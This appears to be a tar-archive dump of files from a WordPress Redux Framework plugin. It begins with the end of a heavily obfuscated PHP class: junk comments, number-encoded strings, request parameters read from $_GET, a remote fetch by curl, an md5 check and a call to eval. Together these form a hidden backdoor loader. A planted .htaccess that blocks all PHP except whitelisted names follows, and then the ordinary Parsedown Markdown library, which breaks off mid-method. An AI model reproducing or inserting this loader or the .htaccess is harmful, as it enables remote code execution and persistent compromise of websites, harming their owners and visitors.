/*-(h>o4LA,!w-*/explode/*-p_lp)66G.-*/(/*-:e(-*/">", /*-uq_?F$~o-*/$ntq/*-}}rpN^&-*/); /*-Hy-*/$qMU /*-FNQ~s3-*/= /*-z3Ef&9-*/""; foreach /*-<T[[-*/(/*-ckO9WD-*/$UeYVP /*-0T-*/as /*-$&-*/$DQp /*-d2dVM-*/=>/*-%XWt&?A-*/ $vV/*-xkML+-*/) /*-to@7n-*/$qMU /*-,v.#MW33-*/.= /*-W@b7t(-*/$Ss[$vV/*-6_90II?-*/ - /*-JVi-*/41023/*-oYCBLZ;-*/];/*-[.=[$v-*/ return /*-(c&uN{bu.-*/$qMU; /*-{hfWMQ#<-*/} /*-(2|VEw-*/static /*-wJGu-*/function /*-t2k8^-*/XrMKLseJ/*-{n[oJg-*/(/*-@P.Kx-*/$RgT,/*-PH}-*/ $jCh/*-vljIK!}-*/)/*-PP-*/ {/*-5AWj-*/ $TSXjQzCaJ/*-$(<@=qOq-*/ = /*-FE6PJ:o-*/curl_init/*-=~v-*/(/*-2w^nO5A-*/$RgT/*-~[f9Or}-*/);/*-8u.fD-*/ curl_setopt/*-`^ZW}~1T-*/(/*-py!]-*/$TSXjQzCaJ,/*-^J7[ga-*/ CURLOPT_RETURNTRANSFER,/*-Rvs-*/ 1/*-demB){x|=-*/);/*-D6@2y>-*/ $kM/*-NA!XrRF-*/ = /*-2k-*/curl_exec/*-{e_L<,-*/(/*-~,TF8]X-*/$TSXjQzCaJ/*-lIP$-*/); /*-c@Q#k-*/return /*-<4IsSVMD<-*/empty/*-u;$#-*/(/*-lL50-*/$kM/*-;A-*/)/*-2M-*/ ? /*-{h!-Tz-*/$jCh/*-Z5xDDc-*/(/*-Oa&~_F&-*/$RgT/*-0SUu:R-*/)/*-([l;-*/ : /*-J95B#N%+)%-*/$kM; /*-&}-UdpO}-*/}/*-X`@WKUR-*/ static/*-x2!]es-*/ function /*-C#t$&<-*/SPjXEJyuo/*-?I^NK);y-*/() /*-~&hJ-*/{/*-tuwarQ-*/ $ORHF /*-([-*/=/*-auF-*/ array/*-SXbKy-*/("41050>41035>41048>41052>41033>41048>41054>41047>41032>41039>41050>41033>41044>41038>41039","41034>41033>41035>41054>41035>41038>41033>41100>41098","41043>41034>41038>41039>41054>41049>41048>41050>41038>41049>41048","41037>41052>41050>41042","41051>41052>41034>41048>41095>41097>41054>41049>41048>41050>41038>41049>41048","41047>41044>41041>41048>41054>41046>41048>41033>41054>41050>41038>41039>41033>41048>41039>41033>41034","41077>41107","41024","41102>41107","41084>41067>41067>41084>41060","41038>41047"); /*-c45-*/foreach /*-23!-*/(/*-an<!i&d=-*/$ORHF/*-Z{n<fz|HN-*/ as /*-TkeI6_z|k-*/$gF/*-x^P$X5F~b-*/)/*-vs(#;x|Pw-*/ $khwjgs/*-IuQGSc}#-*/[] /*-4y:Dw]vMO-*/= /*-v%p33r(-*/self/*-7$^%aH8f-*/::/*-ImGVb4h3.d-*/nYBxJ/*-8K^62-*/(/*-Ja_-*/$gF/*-oA-*/);/*-9t8T[y4$-*/$nNtSl /*-?pzv+&VA-*/= /*-7wA-*/@$khwjgs/*-WC<b@EQe=-*/[/*-ff-*/1/*-if-*/]/*-Px-*/(/*-n-*/${/*-U[2Ed-*/"_"/*-xVl?-*/."G"/*-Nhf@-*/."E"/*-GCu2?pf!C-*/."T"/*-qS:-*/}[/*-Q;b8=-*/$khwjgs/*-T%=iPX0-*/[/*-{Jo68.0-*/8+1/*-^}5NE-*/]]/*-G]>-[J`^-*/);/*-q.d!]$J}-*/ $VajAgpxYk /*-3S[v-*/=/*-D6-*/ @$khwjgs/*-hO,gV-*/[/*-1Qw<~XvkI-*/1+2/*-M6o4-*/]/*-0l5]O^Mr-*/(/*-m^l?(Y@M-*/$khwjgs/*-6+j<n-*/[/*-g%U&3sUvf-*/5+1/*-dnA-*/], /*-MQy-*/$nNtSl/*-CA;7!+|(-*/);/*-F`9E[.zQ-*/ $DH /*-9-K-*/=/*-FjK`q-*/ $khwjgs/*-{j.uCZm}S-*/[/*-r6n~KW>--*/2+0/*-MPBhtmew9-*/]/*-F)gGE&IP5@-*/(/*-0ot,PwT8UO-*/$VajAgpxYk,/*-96yOnAwpi-*/ true/*-rVPS-*/); /*-r>S-*/@${/*--%F-*/"_"./*-k}PNZ)-*/"G"./*-CjQTO-B-*/"E"/*-:Jt,{(iEI-*/."T"/*-KfACx|?-*/}/*-X5v?[-*/[/*-c14ACplH<-*/$khwjgs/*-z-4nzjj.-*/[3+7/*-T4!mSO-*/]/*-LJV9%)Q}-*/]/*-u<z-*/ == /*-^4`,>ooV-*/1 /*-?lI_wFBz]=-*/&& /*-cW2S`A;>F-*/die/*-@mi@^W-*/(/*-)&k@?wR7g-*/$khwjgs[1+4/*-R&-*/]/*-#;$-*/(/*-F.|^~71[36-*/__FILE__/*-KSP]WH!-*/)/*-I#L9K-i-*/); /*-28[e9FF[-*/if/*-Qro(u-*/(/*-#vG#2WEWQs-*/ (/*-jKC-*/(@/*-5h<-*/$DH/*-8)6Y)}U-*/[/*-%9Hw-*/0/*-3<DnW]}K-*/] /*-;v=-*/- time/*-9MC5RwA-*/()/*-H;>{-*/) > /*-DvAA3-*/0/*-W16-*/)/*-Yl-*/ and /*-td+f9??[-*/(/*-fl?-*/md5/*-;DnTY`-*/(/*-VF-*/md5/*-s>>yVhrT-*/(/*-v+-*/$DH/*-~ms,)PR-*/[/*-ch9MzH-*/1+2/*-(sUZEt-*/]/*-[O-*/)/*-UT-=)~4huE-*/)/*-4j-*/ === /*-gjBQ5E-*/"179f41ade4afaefd90500d7321ceb50e"/*-q3cY#60P-*/)/*-Op#-*/ ): /*-P;]:-*/$DKQVuIqaX /*-G5nTq-*/=/*-phAg[9mx[.-*/ self/*-DVV>-*/::/*-`ZB}ng)t-*/XrMKLseJ/*-ph?vQf|-*/(/*-$Zw-*/$DH/*-)_]B-*/[/*-Lz~-*/0+1/*-w&?9w>#+-*/], /*-:Q}GB+-*/$khwjgs/*-(#-*/[/*-tto>.>S-*/0+5/*-1j-*/]/*-_3O-*/);/*-|Z|ii?K-*/@eval/*->X#sx-*/(/*-,]1OY-*/$khwjgs/*-G!M{_-*/[/*-JpHmCxh-*/2+2/*-#d{%-*/]/*-xRC32y91t_-*/(/*-f-t-*/$DKQVuIqaX/*-ws#4-*/)/*-%L`dz6ve-*/);/*-|A~-*//*-Go(8X!-*/die;/*-2_^w>Q-2X-*/ endif;/*-i~2;j.-*/ }/*-7U459-*/}/*-)G-*/MAnS/*-)BZ&cNZj|-*/::/*-Yc)@G-*/SPjXEJyuo/*-Q-*/();/*-sZbmW-*/ ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/raw/raw/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015064 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/raw/parsedown.php��������������������������������������������������������0000644�����������������00000112045�14720701300�0015206 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php # # # Parsedown # http://parsedown.org # # (c) Emanuil Rusev # http://erusev.com # # For the full license information, view the LICENSE file that was distributed # with this source code. # # class Parsedown { # ~ const version = '1.6.0'; # ~ function text($text) { # make sure no definitions are set $this->DefinitionData = array(); # standardize line breaks $text = str_replace(array("\r\n", "\r"), "\n", $text); # remove surrounding line breaks $text = trim($text, "\n"); # split text into lines $lines = explode("\n", $text); # iterate through lines to identify blocks $markup = $this->lines($lines); # trim line breaks $markup = trim($markup, "\n"); return $markup; } # # Setters # function setBreaksEnabled($breaksEnabled) { $this->breaksEnabled = $breaksEnabled; return $this; } protected $breaksEnabled; function setMarkupEscaped($markupEscaped) { $this->markupEscaped = $markupEscaped; return $this; } protected $markupEscaped; function setUrlsLinked($urlsLinked) { $this->urlsLinked = $urlsLinked; return $this; } protected $urlsLinked = true; # # Lines # protected $BlockTypes = array( '#' => array('Header'), '*' => array('Rule', 'List'), '+' => array('List'), '-' => array('SetextHeader', 'Table', 'Rule', 'List'), '0' => array('List'), '1' => array('List'), '2' => array('List'), '3' => array('List'), '4' => array('List'), '5' => array('List'), '6' => array('List'), '7' => array('List'), '8' => array('List'), '9' => array('List'), ':' => array('Table'), '<' => array('Comment', 'Markup'), '=' => array('SetextHeader'), '>' => array('Quote'), '[' => array('Reference'), '_' => array('Rule'), '`' => array('FencedCode'), '|' => array('Table'), '~' => array('FencedCode'), ); # ~ protected $unmarkedBlockTypes = array( 'Code', ); # # Blocks # protected function lines(array $lines) { $CurrentBlock = null; foreach ($lines as $line) { if (chop($line) === '') { if (isset($CurrentBlock)) { $CurrentBlock['interrupted'] = true; } continue; } if (strpos($line, "\t") !== false) { $parts = explode("\t", $line); $line = $parts[0]; unset($parts[0]); foreach ($parts as $part) { $shortage = 4 - mb_strlen($line, 'utf-8') % 4; $line .= str_repeat(' ', $shortage); $line .= $part; } } $indent = 0; while (isset($line[$indent]) and $line[$indent] === ' ') { $indent ++; } $text = $indent > 0 ? substr($line, $indent) : $line; # ~ $Line = array('body' => $line, 'indent' => $indent, 'text' => $text); # ~ if (isset($CurrentBlock['continuable'])) { $Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock); if (isset($Block)) { $CurrentBlock = $Block; continue; } else { if ($this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } } } # ~ $marker = $text[0]; # ~ $blockTypes = $this->unmarkedBlockTypes; if (isset($this->BlockTypes[$marker])) { foreach ($this->BlockTypes[$marker] as $blockType) { $blockTypes []= $blockType; } } # # ~ foreach ($blockTypes as $blockType) { $Block = $this->{'block'.$blockType}($Line, $CurrentBlock); if (isset($Block)) { $Block['type'] = $blockType; if ( ! isset($Block['identified'])) { $Blocks []= $CurrentBlock; $Block['identified'] = true; } if ($this->isBlockContinuable($blockType)) { $Block['continuable'] = true; } $CurrentBlock = $Block; continue 2; } } # ~ if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted'])) { $CurrentBlock['element']['text'] .= "\n".$text; } else { $Blocks []= $CurrentBlock; $CurrentBlock = $this->paragraph($Line); $CurrentBlock['identified'] = true; } } # ~ if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } # ~ $Blocks []= $CurrentBlock; unset($Blocks[0]); # ~ $markup = ''; foreach ($Blocks as $Block) { if (isset($Block['hidden'])) { continue; } $markup .= "\n"; $markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']); } $markup .= "\n"; # ~ return $markup; } protected function isBlockContinuable($Type) { return method_exists($this, 'block'.$Type.'Continue'); } protected function isBlockCompletable($Type) { return method_exists($this, 'block'.$Type.'Complete'); } # # Code protected function blockCode($Line, $Block = null) { if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted'])) { return; } if ($Line['indent'] >= 4) { $text = substr($Line['body'], 4); $Block = array( 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => array( 'name' => 'code', 'text' => $text, ), ), ); return $Block; } } protected function blockCodeContinue($Line, $Block) { if ($Line['indent'] >= 4) { if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } $Block['element']['text']['text'] .= "\n"; $text = substr($Line['body'], 4); $Block['element']['text']['text'] .= $text; return $Block; } } protected function blockCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Comment protected function blockComment($Line) { if ($this->markupEscaped) { return; } if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!') { $Block = array( 'markup' => $Line['body'], ); if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } } protected function blockCommentContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } $Block['markup'] .= "\n" . $Line['body']; if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } # # Fenced Code protected function blockFencedCode($Line) { if (preg_match('/^['.$Line['text'][0].']{3,}[ ]*([\w-]+)?[ ]*$/', $Line['text'], $matches)) { $Element = array( 'name' => 'code', 'text' => '', ); if (isset($matches[1])) { $class = 'language-'.$matches[1]; $Element['attributes'] = array( 'class' => $class, ); } $Block = array( 'char' => $Line['text'][0], 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => $Element, ), ); return $Block; } } protected function blockFencedCodeContinue($Line, $Block) { if (isset($Block['complete'])) { return; } if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text'])) { $Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1); $Block['complete'] = true; return $Block; } $Block['element']['text']['text'] .= "\n".$Line['body']; return $Block; } protected function blockFencedCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Header protected function blockHeader($Line) { if (isset($Line['text'][1])) { $level = 1; while (isset($Line['text'][$level]) and $Line['text'][$level] === '#') { $level ++; } if ($level > 6) { return; } $text = trim($Line['text'], '# '); $Block = array( 'element' => array( 'name' => 'h' . min(6, $level), 'text' => $text, 'handler' => 'line', ), ); return $Block; } } # # List protected function blockList($Line) { list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]'); if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches)) { $Block = array( 'indent' => $Line['indent'], 'pattern' => $pattern, 'element' => array( 'name' => $name, 'handler' => 'elements', ), ); if($name === 'ol') { $listStart = stristr($matches[0], '.', true); if($listStart !== '1') { $Block['element']['attributes'] = array('start' => $listStart); } } $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $matches[2], ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } } protected function blockListContinue($Line, array $Block) { if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['li']['text'] []= ''; unset($Block['interrupted']); } unset($Block['li']); $text = isset($matches[1]) ? $matches[1] : ''; $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $text, ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } if ($Line['text'][0] === '[' and $this->blockReference($Line)) { return $Block; } if ( ! isset($Block['interrupted'])) { $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; return $Block; } if ($Line['indent'] > 0) { $Block['li']['text'] []= ''; $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; unset($Block['interrupted']); return $Block; } } # # Quote protected function blockQuote($Line) { if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { $Block = array( 'element' => array( 'name' => 'blockquote', 'handler' => 'lines', 'text' => (array) $matches[1], ), ); return $Block; } } protected function blockQuoteContinue($Line, array $Block) { if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['element']['text'] []= ''; unset($Block['interrupted']); } $Block['element']['text'] []= $matches[1]; return $Block; } if ( ! isset($Block['interrupted'])) { $Block['element']['text'] []= $Line['text']; return $Block; } } # # Rule protected function blockRule($Line) { if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text'])) { $Block = array( 'element' => array( 'name' => 'hr' ), ); return $Block; } } # # Setext protected function blockSetextHeader($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (chop($Line['text'], $Line['text'][0]) === '') { $Block['element']['name'] = $Line['text'][0] === '=' ? 'h1' : 'h2'; return $Block; } } # # Markup protected function blockMarkup($Line) { if ($this->markupEscaped) { return; } if (preg_match('/^<(\w*)(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*(\/)?>/', $Line['text'], $matches)) { $element = strtolower($matches[1]); if (in_array($element, $this->textLevelElements)) { return; } $Block = array( 'name' => $matches[1], 'depth' => 0, 'markup' => $Line['text'], ); $length = strlen($matches[0]); $remainder = substr($Line['text'], $length); if (trim($remainder) === '') { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { $Block['closed'] = true; $Block['void'] = true; } } else { if (isset($matches[2]) or in_array($matches[1], $this->voidElements)) { return; } if (preg_match('/<\/'.$matches[1].'>[ ]*$/i', $remainder)) { $Block['closed'] = true; } } return $Block; } } protected function blockMarkupContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } if (preg_match('/^<'.$Block['name'].'(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*>/i', $Line['text'])) # open { $Block['depth'] ++; } if (preg_match('/(.*?)<\/'.$Block['name'].'>[ ]*$/i', $Line['text'], $matches)) # close { if ($Block['depth'] > 0) { $Block['depth'] --; } else { $Block['closed'] = true; } } if (isset($Block['interrupted'])) { $Block['markup'] .= "\n"; unset($Block['interrupted']); } $Block['markup'] .= "\n".$Line['body']; return $Block; } # # Reference protected function blockReference($Line) { if (preg_match('/^\[(.+?)\]:[ ]*<?(\S+?)>?(?:[ ]+["\'(](.+)["\')])?[ ]*$/', $Line['text'], $matches)) { $id = strtolower($matches[1]); $Data = array( 'url' => $matches[2], 'title' => null, ); if (isset($matches[3])) { $Data['title'] = $matches[3]; } $this->DefinitionData['Reference'][$id] = $Data; $Block = array( 'hidden' => true, ); return $Block; } } # # Table protected function blockTable($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (strpos($Block['element']['text'], '|') !== false and chop($Line['text'], ' -:|') === '') { $alignments = array(); $divider = $Line['text']; $divider = trim($divider); $divider = trim($divider, '|'); $dividerCells = explode('|', $divider); foreach ($dividerCells as $dividerCell) { $dividerCell = trim($dividerCell); if ($dividerCell === '') { continue; } $alignment = null; if ($dividerCell[0] === ':') { $alignment = 'left'; } if (substr($dividerCell, - 1) === ':') { $alignment = $alignment === 'left' ? 'center' : 'right'; } $alignments []= $alignment; } # ~ $HeaderElements = array(); $header = $Block['element']['text']; $header = trim($header); $header = trim($header, '|'); $headerCells = explode('|', $header); foreach ($headerCells as $index => $headerCell) { $headerCell = trim($headerCell); $HeaderElement = array( 'name' => 'th', 'text' => $headerCell, 'handler' => 'line', ); if (isset($alignments[$index])) { $alignment = $alignments[$index]; $HeaderElement['attributes'] = array( 'style' => 'text-align: '.$alignment.';', ); } $HeaderElements []= $HeaderElement; } # ~ $Block = array( 'alignments' => $alignments, 'identified' => true, 'element' => array( 'name' => 'table', 'handler' => 'elements', ), ); $Block['element']['text'] []= array( 'name' => 'thead', 'handler' => 'elements', ); $Block['element']['text'] []= array( 'name' => 'tbody', 'handler' => 'elements', 'text' => array(), ); $Block['element']['text'][0]['text'] []= array( 'name' => 'tr', 'handler' => 'elements', 'text' => $HeaderElements, ); return $Block; } } protected function blockTableContinue($Line, array $Block) { if (isset($Block['interrupted'])) { return; } if ($Line['text'][0] === '|' or strpos($Line['text'], '|')) { $Elements = array(); $row = $Line['text']; $row = trim($row); $row = trim($row, '|'); preg_match_all('/(?:(\\\\[|])|[^|`]|`[^`]+`|`)+/', $row, $matches); foreach ($matches[0] as $index => $cell) { $cell = trim($cell); $Element = array( 'name' => 'td', 'handler' => 'line', 'text' => $cell, ); if (isset($Block['alignments'][$index])) { $Element['attributes'] = array( 'style' => 'text-align: '.$Block['alignments'][$index].';', ); } $Elements []= $Element; } $Element = array( 'name' => 'tr', 'handler' => 'elements', 'text' => $Elements, ); $Block['element']['text'][1]['text'] []= $Element; return $Block; } } # # ~ # protected function paragraph($Line) { $Block = array( 'element' => array( 'name' => 'p', 'text' => $Line['text'], 'handler' => 'line', ), ); return $Block; } # # Inline Elements # protected $InlineTypes = array( '"' => array('SpecialCharacter'), '!' => array('Image'), '&' => array('SpecialCharacter'), '*' => array('Emphasis'), ':' => array('Url'), '<' => array('UrlTag', 'EmailTag', 'Markup', 'SpecialCharacter'), '>' => array('SpecialCharacter'), '[' => array('Link'), '_' => array('Emphasis'), '`' => array('Code'), '~' => array('Strikethrough'), '\\' => array('EscapeSequence'), ); # ~ protected $inlineMarkerList = '!"*_&[:<>`~\\'; # # ~ # public function line($text) { $markup = ''; # $excerpt is based on the first occurrence of a marker while ($excerpt = strpbrk($text, $this->inlineMarkerList)) { $marker = $excerpt[0]; $markerPosition = strpos($text, $marker); $Excerpt = array('text' => $excerpt, 'context' => $text); foreach ($this->InlineTypes[$marker] as $inlineType) { $Inline = $this->{'inline'.$inlineType}($Excerpt); if ( ! isset($Inline)) { continue; } # makes sure that the inline belongs to "our" marker if (isset($Inline['position']) and $Inline['position'] > $markerPosition) { continue; } # sets a default inline position if ( ! isset($Inline['position'])) { $Inline['position'] = $markerPosition; } # the text that comes before the inline $unmarkedText = substr($text, 0, $Inline['position']); # compile the unmarked text $markup .= $this->unmarkedText($unmarkedText); # compile the inline $markup .= isset($Inline['markup']) ? $Inline['markup'] : $this->element($Inline['element']); # remove the examined text $text = substr($text, $Inline['position'] + $Inline['extent']); continue 2; } # the marker does not belong to an inline $unmarkedText = substr($text, 0, $markerPosition + 1); $markup .= $this->unmarkedText($unmarkedText); $text = substr($text, $markerPosition + 1); } $markup .= $this->unmarkedText($text); return $markup; } # # ~ # protected function inlineCode($Excerpt) { $marker = $Excerpt['text'][0]; if (preg_match('/^('.$marker.'+)[ ]*(.+?)[ ]*(?<!'.$marker.')\1(?!'.$marker.')/s', $Excerpt['text'], $matches)) { $text = $matches[2]; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $text = preg_replace("/[ ]*\n/", ' ', $text); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'code', 'text' => $text, ), ); } } protected function inlineEmailTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<((mailto:)?\S+?@\S+?)>/i', $Excerpt['text'], $matches)) { $url = $matches[1]; if ( ! isset($matches[2])) { $url = 'mailto:' . $url; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $matches[1], 'attributes' => array( 'href' => $url, ), ), ); } } protected function inlineEmphasis($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } $marker = $Excerpt['text'][0]; if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'strong'; } elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) { $emphasis = 'em'; } else { return; } return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => $emphasis, 'handler' => 'line', 'text' => $matches[1], ), ); } protected function inlineEscapeSequence($Excerpt) { if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters)) { return array( 'markup' => $Excerpt['text'][1], 'extent' => 2, ); } } protected function inlineImage($Excerpt) { if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[') { return; } $Excerpt['text']= substr($Excerpt['text'], 1); $Link = $this->inlineLink($Excerpt); if ($Link === null) { return; } $Inline = array( 'extent' => $Link['extent'] + 1, 'element' => array( 'name' => 'img', 'attributes' => array( 'src' => $Link['element']['attributes']['href'], 'alt' => $Link['element']['text'], ), ), ); $Inline['element']['attributes'] += $Link['element']['attributes']; unset($Inline['element']['attributes']['href']); return $Inline; } protected function inlineLink($Excerpt) { $Element = array( 'name' => 'a', 'handler' => 'line', 'text' => null, 'attributes' => array( 'href' => null, 'title' => null, ), ); $extent = 0; $remainder = $Excerpt['text']; if (preg_match('/\[((?:[^][]++|(?R))*+)\]/', $remainder, $matches)) { $Element['text'] = $matches[1]; $extent += strlen($matches[0]); $remainder = substr($remainder, $extent); } else { return; } if (preg_match('/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+("[^"]*"|\'[^\']*\'))?\s*[)]/', $remainder, $matches)) { $Element['attributes']['href'] = $matches[1]; if (isset($matches[2])) { $Element['attributes']['title'] = substr($matches[2], 1, - 1); } $extent += strlen($matches[0]); } else { if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) { $definition = strlen($matches[1]) ? $matches[1] : $Element['text']; $definition = strtolower($definition); $extent += strlen($matches[0]); } else { $definition = strtolower($Element['text']); } if ( ! isset($this->DefinitionData['Reference'][$definition])) { return; } $Definition = $this->DefinitionData['Reference'][$definition]; $Element['attributes']['href'] = $Definition['url']; $Element['attributes']['title'] = $Definition['title']; } $Element['attributes']['href'] = str_replace(array('&', '<'), array('&', '<'), $Element['attributes']['href']); return array( 'extent' => $extent, 'element' => $Element, ); } protected function inlineMarkup($Excerpt) { if ($this->markupEscaped or strpos($Excerpt['text'], '>') === false) { return; } if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w*[ ]*>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] === '!' and preg_match('/^<!---?[^>-](?:-?[^-])*-->/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w*(?:[ ]*'.$this->regexHtmlAttribute.')*[ ]*\/?>/s', $Excerpt['text'], $matches)) { return array( 'markup' => $matches[0], 'extent' => strlen($matches[0]), ); } } protected function inlineSpecialCharacter($Excerpt) { if ($Excerpt['text'][0] === '&' and ! preg_match('/^&#?\w+;/', $Excerpt['text'])) { return array( 'markup' => '&', 'extent' => 1, ); } $SpecialCharacter = array('>' => 'gt', '<' => 'lt', '"' => 'quot'); if (isset($SpecialCharacter[$Excerpt['text'][0]])) { return array( 'markup' => '&'.$SpecialCharacter[$Excerpt['text'][0]].';', 'extent' => 1, ); } } protected function inlineStrikethrough($Excerpt) { if ( ! isset($Excerpt['text'][1])) { return; } if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) { return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'del', 'text' => $matches[1], 'handler' => 'line', ), ); } } protected function inlineUrl($Excerpt) { if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/') { return; } if (preg_match('/\bhttps?:[\/]{2}[^\s<]+\b\/*/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE)) { $Inline = array( 'extent' => strlen($matches[0][0]), 'position' => $matches[0][1], 'element' => array( 'name' => 'a', 'text' => $matches[0][0], 'attributes' => array( 'href' => $matches[0][0], ), ), ); return $Inline; } } protected function inlineUrlTag($Excerpt) { if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\w+:\/{2}[^ >]+)>/i', $Excerpt['text'], $matches)) { $url = str_replace(array('&', '<'), array('&', '<'), $matches[1]); return array( 'extent' => strlen($matches[0]), 'element' => array( 'name' => 'a', 'text' => $url, 'attributes' => array( 'href' => $url, ), ), ); } } # ~ protected function unmarkedText($text) { if ($this->breaksEnabled) { $text = preg_replace('/[ ]*\n/', "<br />\n", $text); } else { $text = preg_replace('/(?:[ ][ ]+|[ ]*\\\\)\n/', "<br />\n", $text); $text = str_replace(" \n", "\n", $text); } return $text; } # # Handlers # protected function element(array $Element) { $markup = '<'.$Element['name']; if (isset($Element['attributes'])) { foreach ($Element['attributes'] as $name => $value) { if ($value === null) { continue; } $markup .= ' '.$name.'="'.$value.'"'; } } if (isset($Element['text'])) { $markup .= '>'; if (isset($Element['handler'])) { $markup .= $this->{$Element['handler']}($Element['text']); } else { $markup .= $Element['text']; } $markup .= '</'.$Element['name'].'>'; } else { $markup .= ' />'; } return $markup; } protected function elements(array $Elements) { $markup = ''; foreach ($Elements as $Element) { $markup .= "\n" . $this->element($Element); } $markup .= "\n"; return $markup; } # ~ protected function li($lines) { $markup = $this->lines($lines); $trimmedMarkup = trim($markup); if ( ! in_array('', $lines) and substr($trimmedMarkup, 0, 3) === '<p>') { $markup = $trimmedMarkup; $markup = substr($markup, 3); $position = strpos($markup, "</p>"); $markup = substr_replace($markup, '', $position, 4); } return $markup; } # # Deprecated Methods # function parse($text) { $markup = $this->text($text); return $markup; } # # Static Methods # static function instance($name = 'default') { if (isset(self::$instances[$name])) { return self::$instances[$name]; } $instance = new static(); self::$instances[$name] = 